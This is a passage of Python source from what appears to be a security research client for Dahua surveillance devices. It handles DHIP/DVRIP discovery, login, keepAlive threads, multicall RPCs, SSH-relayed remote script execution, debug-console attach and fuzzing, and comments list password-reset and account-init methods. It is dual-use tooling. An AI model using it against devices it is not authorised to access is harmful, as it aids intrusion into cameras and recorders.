self.debugCalls = None\t\t\t\t# Some internal debugging\n\n        self.event = threading.Event()\n        self.socket_event = threading.Event()\n        self.lock = threading.Lock()\n        self.recv_stream_status = threading.Event()\n        self.terminate = False\n\n    #############################################################################################################\n    #\n    # Custom pwntools functions\n    #\n    #############################################################################################################\n\n    def custom_can_recv(self, timeout=0.020):\n        \"\"\"\n        wrapper for pwntools 'can_recv()'\n        SSLSocket and paramiko recv() do not support any flags\n        \"\"\"\n\n        time.sleep(timeout)\n\n        try:\n            \"\"\" pwntools \"\"\"\n            if self.remote.can_recv():\n                return True\n            return False\n        except TypeError:\n            \"\"\" paramiko ssh \"\"\"\n            if self.remote.sock.recv_ready():\n                return True\n            return False\n        except ValueError:\n            \"\"\" SSL \"\"\"\n            # TODO: Not found any way for SSL\n            return True\n        except AttributeError:\n            \"\"\" OSError \"\"\"\n            print('AttributeError')\n            return False\n\n    def custom_connect_remote(self, rhost, rport, timeout=10):\n        \"\"\" Custom SSH connect_remote(), still we using pwntools 'transport()' \"\"\"\n        # channel = self.relay.transport.Channel(timeout=timeout)\n        channel = self.relay.transport.open_channel('direct-tcpip', (rhost, rport), ('127.0.0.1', 0), timeout=timeout)\n        print(self.relay.transport.is_active())\n        return channel\n\n    def custom_exec_command(self, cmd, script='', timeout=10, env_export=None):\n        \"\"\" Custom SSH exec_command(), still using pwntools 'transport()' \"\"\"\n\n        env_export = ';'.join('export {}={}'.format(var, env_export.get(var)) for var in env_export)\n        cmd = ''.join([env_export, cmd, script])\n\n        stdout = b''\n        stderr = b''\n        sftp = None\n        relay = None\n\n        \"\"\"\n        Generally not many embedded devices who has sftp support,\n        meaning it will most likely not support exec_command() and/or python either.\n        Just to avoid potential 'psh' hanging in embedded devices\n        \"\"\"\n        try:\n            sftp = self.relay.transport.open_session(timeout=timeout)\n            sftp.settimeout(timeout=timeout)\n            sftp.invoke_subsystem('sftp')\n        except Exception as e:\n            print('[custom_exec_command] (sftp)', repr(e))\n            return {\"stdout\": [], \"stderr\": ['embedded devices not supported']}\n        finally:\n            if sftp:\n                sftp.close()\n\n        try:\n            relay = self.relay.transport.open_session(timeout=timeout)\n            relay.settimeout(timeout=timeout)\n            relay.exec_command(cmd)\n\n            while True:\n                stdout = b''.join([stdout, relay.recv(4096)])\n                if relay.exit_status_ready():\n                    break\n            \"\"\" Catch potential stderr from remote \"\"\"\n            stderr = b''.join([stderr, relay.recv_stderr(4096)])\n        except Exception as e:\n            print('[custom_exec_command] (relay)', repr(e))\n            return {\"stdout\": [], \"stderr\": ['exec request failed on channel {}'.format(relay.get_id())]}\n        finally:\n            if relay:\n                relay.close()\n\n        stdout = stdout.decode('utf-8').split('\\n')\n        stderr = stderr.decode('utf-8').split('\\n')\n\n        \"\"\" return output in list, remove potential empty entries \"\"\"\n        return {\n            \"stdout\": [x for x in stdout if x],\n            \"stderr\": [x for x in stderr if x]\n        }\n\n    def dh_discover(self, msg):\n        \"\"\" Device DHIP/DVRIP discover function \"\"\"\n\n        cmd = msg.split()\n        dh_data = None\n        host = None\n        sock = None\n        remote_recvfrom = None\n        remote_ip = None\n        remote_port = None\n\n        usage = {\n            \"dhip\": \"[host]\",\n            \"dvrip\": \"[host]\"\n        }\n        if len(cmd) < 2 or len(cmd) > 3 or cmd[1] == '-h':\n            log.info('{}'.format(help_all(msg=msg, usage=usage)))\n            return True\n        discover = cmd[1]\n\n        if discover == 'dhip':\n            if len(cmd) == 2:\n                dip = '239.255.255.251'\n            else:\n                dip = check_host(cmd[2])\n                if not dip:\n                    log.failure(\"Invalid RHOST\")\n                    return False\n            dport = 37810\n\n            query_args = {\n                \"method\": \"DHDiscover.search\",\n                # \"method\": \"deviceDiscovery.refresh\",\n                # \"method\": \"deviceDiscovery.ipScan\",\n                # \"method\": \"DHDiscover.setConfig\",\n                # \"method\": \"Security.getEncryptInfo\",\n                # \"method\": \"DevInit.account\",\n                # \"method\": \"PasswdFind.getDescript\",\n                # \"method\": \"PasswdFind.resetPassword\",\n                # \"method\": \"PasswdFind.checkAuthCode\",\n                # \"method\": \"DevInit.leAction\",\n                # \"method\": \"userManager.getCaps\",\n                # \"method\": \"DevInit.access\",\n                # \"method\": \"Security.modifyPwdOutSession\",\n                \"params\": {\n                    \"mac\": \"\",\n                    \"uni\": 1\n                },\n            }\n\n            header = \\\n                p64(0x2000000044484950, endian='big') + p64(0x0) + p32(len(json.dumps(query_args))) + \\\n                p32(0x0) + p32(len(json.dumps(query_args))) + p32(0x0)\n\n            packet = header + json.dumps(query_args).encode('latin-1')\n\n        elif discover == 'dvrip':\n            if len(cmd) == 2:\n                dip = '255.255.255.255'\n            else:\n                dip = check_host(cmd[2])\n                if not dip:\n                    log.failure(\"Invalid RHOST\")\n                    return False\n            dport = 5050\n\n            packet = p32(0xa3010001, endian='big') + (p32(0x0) * 3) + p32(0x02000000, endian='big') + (p32(0x0) * 3)\n\n        else:\n            log.failure('{}'.format(help_all(msg=cmd[0], usage=usage)))\n            return False\n\n        if self.relay_host:\n            script = r\"\"\"\nimport os, sys, socket, base64\n\nsocket.setdefaulttimeout(4)\nsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)\nsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)\nsock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)\nsock.sendto(base64.b64decode(os.getenv('PACKET')), (os.getenv('dip'),int(os.getenv('dport'))))\n\nwhile True:\n    try:\n        dh_data, addr = sock.recvfrom(8196)\n        print({\"host\": addr[0],\n            \"dh_data\": base64.b64encode(dh_data)\n        })\n    except Exception as e:\n        # sys.stderr.write(repr(e))\n        break\nsock.close()\n\"\"\"\n            env_export = {\n                'PATH': '/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/usr/local/sbin',\n                'PACKET': b64e(packet),\n                'dip': dip,\n                'dport': str(dport)\n            }\n\n            if not self.relay:\n                dh_data = init_relay(relay=self.relay_host, rhost=self.rhost, rport=self.rport, discover=discover)\n                if not dh_data:\n                    return False\n                self.relay = dh_data.get('dh_relay')\n\n            remote_recvfrom = self.custom_exec_command(\n                cmd=';python -c ', script=sh_string(script), env_export=env_export)\n        else:\n            socket.setdefaulttimeout(3)\n            sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)\n            sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)\n            sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)\n\n            self._debug(\"SEND\", packet)\n            sock.sendto(packet, (dip, dport))\n\n        while True:\n            if self.relay:\n\n                for host in remote_recvfrom.get('stdout'):\n                    x = ast.literal_eval(host)\n\n                    dh_data = b64d(x.get('dh_data'))\n                    remote_ip = x.get('host')\n                    remote_port = dport\n                    break\n                if len(remote_recvfrom.get('stdout')):\n                    remote_recvfrom.get('stdout').remove(host)\n                else:\n                    if len(remote_recvfrom.get('stderr')):\n                        for stderr in remote_recvfrom.get('stderr'):\n                            log.warning('[stderr] {}'.format(stderr))\n                    return True\n            else:\n                try:\n                    dh_data, addr = sock.recvfrom(4096)\n                    remote_ip = addr[0]\n                    remote_port = addr[1]\n                except (Exception, KeyboardInterrupt, SystemExit):\n                    sock.close()\n                    return True\n\n            log.success(\"dh_discover response from: {}:{}\".format(remote_ip, remote_port))\n            self._debug(\"RECV\", dh_data)\n\n            dh_data = dh_data[32:].decode('latin-1')\n\n            if discover == 'dhip':\n                dh_data = json.loads(dh_data.strip('\\x00'))\n                print(json.dumps(dh_data, indent=4))\n\n            elif discover == 'dvrip':\n                bin_info = {\n                    \"Version\": {\n                        \"Version\": \"{}.{}.{}.{}\".format(\n                            u16(dh_data[0:2]), u16(dh_data[2:4]), u16(dh_data[4:6]), u16(dh_data[6:8]))\n                    },\n                    \"Network\": {\n                        \"Hostname\": dh_data[8:24].strip('\\x00'),\n                        \"IPAddress\": unbinary_ip(dh_data[24:28]),\n                        \"SubnetMask\": unbinary_ip(dh_data[28:32]),\n                        \"DefaultGateway\": unbinary_ip(dh_data[32:36]),\n                        \"DnsServers\": unbinary_ip(dh_data[36:40]),\n                    },\n                    \"AlarmServer\": {\n                        \"Address\": unbinary_ip(dh_data[40:44]),\n                        \"Port\": u16(dh_data[44:46]),\n                        \"Unknown46-47\": u8(dh_data[46:47]),\n                        \"Unknown47-48\": u8(dh_data[47:48]),\n                    },\n                    \"Email\": {\n                        \"Address\": unbinary_ip(dh_data[48:52]),\n                        \"Port\": u16(dh_data[52:54]),\n                        \"Unknown54-55\": u8(dh_data[54:55]),\n                        \"Unknown55-56\": u8(dh_data[55:56]),\n                    },\n                    \"Unknown\": {\n                        \"Unknown56-50\": unbinary_ip(dh_data[56:60]),\n                        \"Unknown60-62\": u16(dh_data[60:62]),\n                        \"Unknown82-86\": unbinary_ip(dh_data[82:86]),\n                        \"Unknown86-88\": u16(dh_data[86:88]),\n                    },\n                    \"Web\": {\n                        \"Port\": u16(dh_data[62:64]),\n                    },\n                    \"HTTPS\": {\n                        \"Port\": u16(dh_data[64:66]),\n                    },\n                    \"DVRIP\": {\n                        \"TCPPort\": u16(dh_data[66:68]),\n                        \"MaxConnections\": u16(dh_data[68:70]),\n                        \"SSLPort\": u16(dh_data[70:72]),\n                        \"UDPPort\": u16(dh_data[72:74]),\n                        \"Unknown74-75\": u8(dh_data[74:75]),\n                        \"Unknown75-76\": u8(dh_data[75:76]),\n                        \"MCASTAddress\": unbinary_ip(dh_data[76:80]),\n                        \"MCASTPort\": u16(dh_data[80:82]),\n                    },\n\n                }\n\n                log.info(\"Binary:\\n{}\".format(json.dumps(bin_info, indent=4)))\n                log.info(\"Ascii:\\n{}\".format(dh_data[88:].strip('\\x00')))\n\n    def dh_connect(self, username=None, password=None, logon=None, force=False):\n        \"\"\" Initiate connection to device and handle possible calls from cmd line \"\"\"\n        console = None\n\n        log.info(\n            color('logon type \"{}\" with proto \"{}\" at {}:{}'.format(logon, self.proto, self.rhost, self.rport), LGREEN)\n        )\n\n        if self.relay_host:\n            dh_data = init_relay(relay=self.relay_host, rhost=self.rhost, rport=self.rport)\n            if not dh_data:\n                return False\n            self.relay = dh_data.get('dh_relay')\n            self.remote = dh_data.get('dh_remote')\n\n        elif self.proto == 'http' or self.proto == 'https':\n            self.remote = DahuaHttp(self.rhost, self.rport, proto=self.proto, timeout=self.timeout)\n\n        else:\n            try:\n                self.remote = remote(self.rhost, self.rport, ssl=self.ssl, timeout=self.timeout)\n            except PwnlibException:\n                return False\n\n        if self.args.test:\n            self.header = self.proto_header()\n            return True\n\n        if not self.args.dump:\n            console = log.progress(color('Dahua Debug Console', YELLOW))\n            console.status(color('Trying', YELLOW))\n\n        if self.proto == 'dvrip' or self.proto == '3des':\n            if not self.dahua_dvrip_login(username=username, password=password, logon=logon):\n                if not self.args.dump:\n                    if self.args.save:\n                        console.success('Save host')\n                    else:\n                        console.failure(color(\"Failed\", RED))\n                    return False\n                else:\n                    return False\n\n        elif self.proto == 'dhip' or self.proto == 'http' or self.proto == 'https':\n            if not self.dahua_dhip_login(username=username, password=password, logon=logon, force=force):\n\n                if not self.args.dump:\n                    if self.args.save:\n                        console.success('Save host')\n                    else:\n                        console.failure(color('Failed', RED))\n                    return False\n                else:\n                    return False\n\n        # Old devices fail and close connection\n        if logon != 'old_3des':\n            query_args = {\n                \"method\": \"userManager.getActiveUserInfoAll\",\n                \"params\": {\n                },\n            }\n\n            dh_data = self.send_call(query_args)\n\n            users = '{}'.format(help_msg('Active Users'))\n            if dh_data.get('params').get('users') is not None:\n                for user in dh_data.get('params').get('users'):\n                    users += '{}@{} since {} with \"{}\" (Id: {}) \\n'.format(\n                        user.get('Name'),\n                        user.get('ClientAddress'),\n                        user.get('LoginTime'),\n                        user.get('ClientType'),\n                        user.get('Id'))\n            else:\n                users += 'None'\n            log.info(users)\n\n            query_args = {\n                \"method\": \"magicBox.getDeviceType\",\n                \"params\": None,\n            }\n            self.send_call(query_args, multicall=True)\n\n            \"\"\" Classes: NVR, IPC, VTO, VTH, DVR... etc. \"\"\"\n            query_args = {\n                \"method\": \"magicBox.getDeviceClass\",\n                \"params\": None,\n            }\n            self.send_call(query_args, multicall=True)\n\n            query_args = {\n                \"method\": \"global.getCurrentTime\",\n                \"params\": None,\n            }\n            dh_data = self.send_call(query_args, multicall=True, multicallsend=True)\n\n            self.DeviceClass = \\\n                dh_data.get('magicBox.getDeviceClass').get('params').get('type') \\\n                if dh_data and dh_data.get('magicBox.getDeviceClass').get('result') else '(null)'\n            self.DeviceType = \\\n                dh_data.get('magicBox.getDeviceType').get('params').get('type')\\\n                if dh_data and dh_data.get('magicBox.getDeviceType').get('result') else '(null)'\n            if dh_data and dh_data.get('global.getCurrentTime').get('params'):\n                remote_time = dh_data.get('global.getCurrentTime').get('params').get('time')\n            elif dh_data and dh_data.get('global.getCurrentTime').get('result'):\n                remote_time = dh_data.get('global.getCurrentTime').get('result')\n            else:\n                remote_time = '(null)'\n\n            log.info(\"Remote Model: {}, Class: {}, Time: {}\".format(\n                self.DeviceType,\n                self.DeviceClass,\n                remote_time\n            ))\n\n        if self.args.dump:\n            return True\n\n        if not self.instance_service('console', dattach=True, start=True):\n            console.failure(color(\"Attach Console failed, using local only\", LRED))\n            self.console_attach = False\n        else:\n            self.console_attach = True\n            console.success(color('Success', GREEN))\n\n        if self.events:\n            self.event_manager(msg='events 1')\n\n        if self.proto in ['http', 'https']:\n            _thread.start_new_thread(self.subscribe_notify, ())\n\n        return True\n\n    def _sleep_check_socket(self, delay):\n        \"\"\" This function will act as the delay for keepAlive of the connection\n\n        At same time it will check and process any late incoming packets every second,\n        which will end up in clientNotifyData()\n        \"\"\"\n        keep_alive = 0\n        dsleep = 1\n        dh_data = None\n\n        while True:\n            if delay <= keep_alive:\n                break\n            else:\n                keep_alive += dsleep\n                if self.terminate:\n                    break\n                # If received dh_data and not another process locked p2p(), should be callback, break\n                if self.custom_can_recv() and not self.lock.locked():\n                    try:\n                        dh_data = self.p2p(packet=None, recv=True)\n                        if not dh_data:\n                            continue\n                        \"\"\" Will always return list \"\"\"\n                        dh_data = fix_json(dh_data)\n                        for NUM in range(0, len(dh_data)):\n                            self._check_for_keepalive(dh_data[NUM])\n                    except EOFError as e:\n                        log.failure('[_sleep_check_socket] {}'.format(repr(e)))\n                        self.remote.close()\n                        return False\n                    except (AttributeError, ValueError, TypeError) as e:\n                        log.failure('[_sleep_check_socket] ({}) {}'.format(repr(e), dh_data))\n                        pass\n                time.sleep(dsleep)\n                continue\n\n    def _p2p_keepalive(self, delay):\n        \"\"\" Main keepAlive thread \"\"\"\n\n        keep_alive = log.progress(color('keepAlive thread', YELLOW))\n        keep_alive.success(color('Started', GREEN))\n\n        self.keep_alive_timeout_times = 5\n        self.keep_alive_timeout = 0\n\n        while True:\n            self._sleep_check_socket(delay)\n\n            if self.terminate:\n                return False\n\n            if not self.remote.connected() or self.keep_alive_timeout == self.keep_alive_timeout_times:\n                log.warning('self termination ({})'.format(self.rhost))\n                self.terminate = True\n                self.remote.close()\n                # TEST\n                # del self.remote\n                if self.relay:\n                    self.relay.close()\n                    # TEST\n                    # del self.relay\n                return False\n\n            query_args = {\n                \"method\": \"global.keepAlive\",\n                \"params\": {\n                    \"timeout\": delay,\n                    \"active\": True\n                },\n            }\n\n            try:\n                dh_data = self.p2p(query_args, timeout=10)\n            # print('[keepAlive] sending/receiving', dh_data)\n            except requests.exceptions.RequestException:\n                self.keep_alive_timeout = self.keep_alive_timeout_times\n                self.event.set()\n                self.remote.close()\n                # TEST\n                # del self.remote\n                if self.relay:\n                    self.relay.close()\n                    # TEST\n                    # del self.relay\n                continue\n\n            except EOFError as e:\n                log.failure('[keepAlive] {}'.format(repr(e)))\n                self.remote.close()\n                if self.relay:\n                    self.relay.close()\n                continue\n\n            if dh_data is None:\n                log.failure('[keepAlive timeout] ({})'.format(self.rhost))\n                self.keep_alive_timeout += 1\n                self.event.set()\n                continue\n\n            \"\"\" Will always return list \"\"\"\n            dh_data = fix_json(dh_data)\n            for NUM in range(0, len(dh_data)):\n                self._check_for_keepalive(dh_data[NUM])\n\n    def _check_for_keepalive(self, dh_data):\n        try:\n            # keepAlive answer\n            if dh_data.get('result') and dh_data.get('params').get('timeout'):\n                if self.event.is_set():\n                    log.success('[keepAlive back] ({})'.format(self.rhost))\n                    self.keep_alive_timeout = 0\n                    self.event.clear()\n            elif not dh_data.get('result') and dh_data.get('error').get('code') == 287637505:\n                # Invalid session in request data!\n                log.failure('[keepAlive timeout] ({})'.format(self.rhost))\n                self.keep_alive_timeout = self.keep_alive_timeout_times\n                self.event.set()\n\n            else:\n                \"\"\"\n                Not keepAlive answer, send it away to clientNotify\n                check for 'client.' callback 'method' or other stuff\n                \"\"\"\n                if dh_data:\n                    self.client_notify(json.dumps(dh_data))\n        except AttributeError:\n            if dh_data:\n                self.client_notify(json.dumps(dh_data))\n            pass\n\n    #\n    # Any late dh_data processed from the '_p2p_keepalive()' thread coming from remote device will end up here,\n    # sort out with \"client.notify.....\" callback\n    #\n    def client_notify(self, dh_data):\n        #\n        # Some stuff prints sometimes 'garbage', like 'dvrip -l'\n        #\n        dh_data = ndjson.loads(dh_data, strict=False)\n\n        for NUM in range(0, len(dh_data)):\n            dh_data = dh_data[NUM]\n\n            if dh_data.get('method') == 'client.notifyConsoleResult':\n                return self.console_result(msg=dh_data, callback=True)\n\n            elif dh_data.get('method') == 'client.notifyConsoleAsyncResult':\n                return self.console_result(msg=dh_data, callback=True)\n\n            elif dh_data.get('method') == 'client.notifyDeviceInfo':\n                return self.device_discovery(msg=dh_data, callback=True)\n\n            elif dh_data.get('method') == 'client.notifyEventStream':\n\n                if self.udp_server:\n                    dh_data['host'] = self.rhost\n\n                    #\n                    # wifi also need events\n                    #\n                    # print('[2] netApp')\n                    # self.net_app(dh_data,callback=True)\n                    #\n                    # Send off to main event handler\n                    #\n                    notify_event = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)\n                    notify_event.sendto(json.dumps(dh_data).encode('latin-1'), (\"127.0.0.1\", EventInServerPort))\n                    notify_event.close()\n            else:\n                try:\n                    if dh_data.get('method'):\n                        log.failure(color(\"[clientNotify] Unhandled callback: {}\".format(dh_data.get('method')), RED))\n                        print(json.dumps(dh_data, indent=4))\n\n                except AttributeError:\n                    log.failure('[clientNotify] Unknown dh_data: {}'.format(dh_data))\n                    pass\n\n            return True\n\n    def send_call(self, query_args=None, multicall=False, multicallsend=False, errorcodes=False, login=False):\n        \"\"\" Primary function for sending/receiving data \"\"\"\n\n        if query_args is None:\n            query_args = ''\n\n        \"\"\" Single call \"\"\"\n        if not multicall and not len(self.multicall_query_args):\n            \"\"\" Just to make 'params' consistent both if it is 'None' or '{}' \"\"\"\n            if len(query_args) and query_args.get('params') is not None:\n                if not len(query_args.get('params')):\n                    query_args.update({\"params\": None})\n\n            try:\n                dh_data = self.p2p(query_args, login=login)\n            except (KeyboardInterrupt, EOFError):\n                return None\n\n            if not dh_data:\n                return None\n\n            \"\"\"\n            Replicating how Dahua sending dh_data, so we pass on received dh_data with 'transfer'\n\n            packet + split('\\n')\n            [JSON][0]\n            [DATA][1]\n            \"\"\"\n            try:\n                dh_data = json.loads(dh_data)\n            except (AttributeError, JSONDecodeError) as e:\n                if not dh_data.find('\\n'):\n                    log.failure(\"[sendCall] (json) ({}) {}\".format(repr(e), dh_data))\n                    pass\n                tmp = dh_data.split('\\n')\n                dh_data = json.loads(tmp[0])\n                dh_data.update({\"transfer\": b64e(tmp[1])})\n                pass\n\n            if not dh_data.get('result') and dh_data.get('error'):\n                if self.debugCalls:\n                    log.failure(color(\"query: {}\".format(query_args), GREEN))\n                    log.failure(color(\n                        \"response: {}\".format(dh_data), LRED))\n\n                if errorcodes:\n                    return dh_data\n                else:\n                    return False\n\n            return dh_data\n\n        \"\"\" Multi call \"\"\"\n        if not len(self.multicall_query_args):\n            self.multicall_query_args = []\n            self.multicall_return_check = []\n\n        \"\"\"\n        Normally we will return JSON dh_data with key as the 'method' name when 'params' is None\n        Others we will use 'params' name, as the 'method' name can be the same for different calls\n        \"\"\"\n        # TODO: For now we need to specify known calls, should be bit smarter to handle all kind of methods\n        # (maybe by using ID)\n        #\n\n        # Just to make 'params' consistent both if it is 'None' or '{}'\n        if len(query_args) and query_args.get('params') is not None:\n            if not len(query_args.get('params')):\n                query_args.update({\"params\": None})\n\n        if isinstance(query_args, dict):\n            query_args.update({\n                'id': self.ID,\n                'session': self.SessionID\n            })\n            self.update_id()\n\n        if len(query_args):\n            if query_args.get('params') is None:\n                method = query_args.get('method')\n            elif query_args.get('method') == 'configManager.getConfig' and query_args.get('params').get('name'):\n                method = query_args.get('params').get('name')\n            elif query_args.get('method') == 'configManager.setConfig' and query_args.get('params').get('name'):\n                method = query_args.get('params').get('name')\n            elif query_args.get('method') == 'configManager.getDefault' and query_args.get('params').get('name'):\n                method = query_args.get('params').get('name')\n            elif query_args.get('method').split('.')[0] == 'netApp':\n                method = query_args.get('method')\n\n            # TODO: Very beta test\n            elif query_args.get('id'):\n                method = query_args.get('id')\n\n            else:\n                log.failure(\"[sendCall] (multicall): {}\".format(query_args.get('method')))\n                return False\n\n            self.multicall_query_args.append(query_args)\n            self.multicall_return_check.append({\"id\": query_args.get('id'), \"method\": method})\n\n            # TODO: Not good idea to have one additional outside of P2P, but is needed (for now)\n            # self.ID += 1\n\n        if multicall and multicallsend and len(self.multicall_query_args):\n            self.multicall_query = {\n                \"method\": \"system.multicall\",\n                \"params\": self.multicall_query_args,\n            }\n\n            try:\n                dh_data = self.p2p(self.multicall_query)\n            except (KeyboardInterrupt, EOFError):\n                self.multicall_query_args = []\n                self.multicall_return_check = []\n                return None\n\n            if not dh_data or not len(dh_data):\n                print('[system.multicall] data:', dh_data)\n                if self.debugCalls:\n                    log.failure(color(\"[sendCall #1] No dh_data back with query: (system.multicall)\", LRED))\n                # Lets listen again, keepAlive might got it and sent back to recv()\n                try:\n                    dh_data = self.p2p(packet=None, recv=True)\n                except (KeyboardInterrupt, EOFError):\n                    if self.debugCalls:\n                        log.failure(color(\"[sendCall #2] No dh_data back with query: (system.multicall)\", LRED))\n                    self.multicall_query_args = []\n                    self.multicall_return_check = []\n                    return None\n                if not dh_data:\n                    return None\n\n            try:\n                dh_data = json.loads(dh_data)\n            except (AttributeError, JSONDecodeError) as e:\n                log.failure(\"[sendCall] (json) ({}) {}\".format(repr(e), dh_data))\n                try:\n                    dh_data += self.p2p(packet=None, recv=True)\n                except (KeyboardInterrupt, EOFError):\n                    self.multicall_query_args = []\n                    self.multicall_return_check = []\n                    return None\n\n                if not dh_data:\n                    return None\n\n            if not dh_data.get('result'):\n                if self.debugCalls:\n                    log.failure(color(\"query: {}\".format(self.multicall_query_args), GREEN))\n                    log.failure(color(\n                        \"response: {}\".format(dh_data), LRED))\n                return None\n\n            dh_data = dh_data.get('params')\n            tmp = {}\n\n            for key in range(0, len(dh_data)):\n                \"\"\" Looks like to be FIFO, bailout just in case to catch any ID mismatch \"\"\"\n                if not self.multicall_return_check[key].get('id') == dh_data[key].get('id'):\n                    log.error(\"Function SendCall() ID mismatch :\\nreq: {}\\nres: {}\".format(\n                        self.multicall_return_check[key], dh_data[key]))\n                tmp[self.multicall_return_check[key].get('method')] = dh_data[key]\n\n            self.multicall_query_args = []\n            self.multicall_return_check = None\n            return tmp\n\n    def instance_service(\n            self, method_name='', dattach=False, params=None, attach_params=None,\n            stop=False, start=False, pull=None, clean=False, list_all=False, fuzz=False,\n            attach_only=False, multicall=False, multicallsend=False):\n        \"\"\"\n        Main function to create remote instance and attach (if needed)\n        Storing all details in 'self.instance_serviceDB', simplifies to create/check/pull/close remote instance\n        \"\"\"\n\n        if clean:\n            for service in copy.deepcopy(self.instance_serviceDB):\n                if not service == 'console':\n                    log.warning(\n                        color('BUG: instance_service \"{}\" should have already been stopped (stop now)'.format(service),\n                              LRED))\n                if self.debugCalls:\n                    log.info('[instance_service] sending stop to: {}'.format(service))\n                self.instance_service(service, stop=True)\n            return True\n\n        elif list_all:\n            for service in self.instance_serviceDB:\n                dh_data = '{}'.format(help_msg(service))\n                for key in self.instance_serviceDB.get(service):\n                    dh_data += '[{}] = {}\\n'.format(key, self.instance_serviceDB.get(service).get(key))\n                log.info(dh_data)\n            return True\n\n        elif pull:\n            if method_name not in self.instance_serviceDB:\n                if self.debugCalls:\n                    log.failure('[instanceService] (pull) method_name: {} do not exist'.format(method_name))\n                return False\n            if self.debugCalls:\n                log.success('[instanceService] (pull) method_name: {} do exist'.format(method_name))\n            return self.instance_serviceDB.get(method_name).get(pull)\n\n        elif start:\n            if not self.check_for_service(method_name):\n                if self.debugCalls:\n                    log.failure('[instanceService] (service) method_name: {} do not exist'.format(method_name))\n                return False\n            if method_name in self.instance_serviceDB:\n                if self.debugCalls:\n                    log.failure('[instanceService] (create) method_name: {} do exist'.format(method_name))\n                return False\n\n            object_id, _proc_id, _sid, dparams, attach_params = self.instance_create(\n                method=method_name,\n                dattach=True if attach_params else dattach,\n                params=params,\n                attach_params=attach_params,\n                fuzz=fuzz,\n                attach_only=attach_only,\n                multicall=multicall,\n                multicallsend=multicallsend,\n            )\n\n            if multicall and not multicallsend:\n                return\n\n            \"\"\" More for when fuzzing, we want the Response and not only True/False \"\"\"\n            if fuzz and _sid or fuzz and object_id:\n                self.fuzzDB.update({\n                    method_name: {\n                        \"method_name\": method_name,\n                        \"attach\": True if attach_params else dattach,\n                        \"params\": dparams,\n                        \"attach_params\": attach_params,\n                        \"object\": object_id,\t\t# False if failure\n                        \"proc\": _proc_id,\t\t# method_name\n                        \"sid\": _sid \t\t\t# Response dh_data w/ error code\n                    }\n                })\n\n            if not object_id:\n                if self.debugCalls:\n                    log.failure('[instanceService] (create) Object: {} do not exist'.format(method_name))\n                return False\n\n            self.instance_serviceDB.update({\n                method_name: {\n                    \"method_name\": method_name,\n                    \"attach\": True if attach_params else dattach,\n                    \"params\": dparams,\n                    \"attach_params\": attach_params,\n                    \"object\": object_id,\n                    \"proc\": _proc_id,\n                    \"sid\": _sid\n                }\n            })\n\n            if self.debugCalls:\n                log.success('[instanceService] (update) {}'.format(method_name))\n                self.instance_service(list_all=True)\n            return True\n\n        elif stop:\n            if method_name not in self.instance_serviceDB:\n                if self.debugCalls:\n                    log.failure('[instanceService] (destroy) method_name: {} do not exist'.format(method_name))\n                return False\n\n            result, method, dh_data = self.instance_destroy(\n                method=method_name,\n                _proc_id=self.instance_serviceDB.get(method_name).get('proc'),\n                object_id=self.instance_serviceDB.get(method_name).get('object'),\n                detach=self.instance_serviceDB.get(method_name).get('attach'),\n                detach_params=self.instance_serviceDB.get(method_name).get('attach_params')\n            )\n            if method_name in self.instance_serviceDB:\n                self.instance_serviceDB.pop(method_name)\n                if self.debugCalls:\n                    log.success('[destroy] pop: {}'.format(method_name))\n                    self.instance_service(list_all=True)\n\n            if not result:\n                if self.debugCalls:\n                    log.failure('[instanceService] (destroy,instance_destroy) {} {} {}'.format(result, method, dh_data))\n                return False\n\n        return True\n\n    def instance_create(\n            self, method, dattach=True, params=None, attach_params=None, fuzz=False, attach_only=False,\n            multicall=False, multicallsend=False):\n        \"\"\" Create factory.instance \"\"\"\n        object_id = None\n        _proc_id = None\n        dparams = None\n        answer = None\n\n        if not attach_only:\n            query_args = {\n                \"method\": \"{}.factory.instance\".format(method),\n                \"params\": params,\n            }\n\n            if attach_params:\n                self.attachParamsTMP.append(attach_params)\n            if params:\n                self.params_tmp.update({query_args.get('id'): params})\n\n            dh_data = self.send_call(query_args, errorcodes=fuzz, multicall=multicall, multicallsend=multicallsend)\n\n            if multicall and not multicallsend:\n                return None, None, None, None, None\n\n            if dh_data is False:\n                return False, \"{}.factory.instance\".format(method), dh_data, params, None\n\n            if multicall and multicallsend:\n                for answer in dh_data:\n                    if dh_data.get(answer).get('result'):\n                        break\n                dh_data = dh_data.get(answer)\n                dparams = self.params_tmp.get(dh_data.get('id'), 'error to get \"params\"')\n\n            if dh_data is None or not dh_data.get('result'):\n                return False, \"{}.factory.instance\".format(method), dh_data, params, None\n\n            object_id = dh_data.get('result')\n            _proc_id = object_id\n\n            if not dattach:\n                self.params_tmp = {}\n                self.attachParamsTMP = []\n                # print('[instance_create] No attach')\n                return object_id, _proc_id, None, params if not multicall else dparams, None\n\n        if attach_only:\n            object_id = attach_only\n            _proc_id = attach_only\n\n        if multicall and multicallsend:\n\n            attach_id = {}\n\n            for paramsTmp in self.attachParamsTMP:\n                query_args = {\n                    # \"method\": \"{}.attachAsyncResult\".format(method),\t# .params.cmd needed\n                    \"method\": \"{}.attach\".format(method),\n                    \"params\": {\n                        \"proc\": _proc_id,\n                        # \"cmd\": \"????\",\t# .attachAsyncResult\n                    },\n                    \"object\": object_id,\n                }\n\n                query_args.get('params').update(paramsTmp)\n                attach_id.update({query_args.get('id'): paramsTmp})\n\n                self.send_call(query_args, errorcodes=fuzz, multicall=True, multicallsend=False)\n\n            query_args = {\n                # \"method\": \"{}.attachAsyncResult\".format(method),\t# .params.cmd needed\n                \"method\": \"{}.attach\".format(method),\n                \"params\": {\n                    \"proc\": _proc_id,\n                    # \"cmd\": \"????\",\t# .attachAsyncResult\n                },\n                \"object\": object_id,\n            }\n\n            dh_data = self.send_call(query_args, errorcodes=fuzz, multicall=True, multicallsend=True)\n            if not dh_data:\n                self.instance_destroy(method=method, _proc_id=_proc_id, object_id=object_id, detach=False)\n                return False, \"{}.attach\".format(method), dh_data, dparams, attach_params\n\n            for answer in dh_data:\n                if dh_data.get(answer).get('result'):\n                    break\n            dh_data = dh_data.get(answer)\n            attach_params = attach_id.get(dh_data.get('id'), 'error to get \"attach_params\"')\n\n        